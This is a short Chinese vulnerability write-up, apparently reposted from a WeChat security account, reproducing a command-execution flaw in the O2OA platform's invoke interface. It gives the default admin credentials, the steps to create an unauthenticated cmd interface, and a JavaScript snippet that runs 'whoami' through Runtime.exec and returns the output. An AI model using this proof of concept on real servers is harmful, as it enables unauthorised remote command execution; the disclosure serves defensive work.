一、漏洞描述
O2OA 是一款 Java 开源企业信息化建设平台，包括流程管理、门户管理、信息管理、数据管理和服务管理五大平台，可以极大程度上减化企业信息化建设成本和业务应用开发难度。O2OA 系统后台的invoke接口存在命令执行漏洞，攻击者通过该漏洞可以获取服务器权限。
二、漏洞复现
系统地址及其首页显示如下
http://xx.xx.xx/x_desktop/index.html
输入默认账户密码登录系统 xadmin/o2，后台显示如下
点击左上角的logo图标，选择进入服务管理
在服务管理的接口配置中选择cmd接口
复制如下执行 whoami 命令的代码，并选择启用鉴权为否
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()));var result = [];while (true) {var oneline = bufReader.readLine();result.push(oneline);if (!oneline) break;}var result = { "Result": result };this.response.setBody(result, "application/json");
保存后点击运行即可得到命令执行的回显，结果如下
原文始发于微信公众号（守卫者安全）：O2OA系统 invoke接口命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论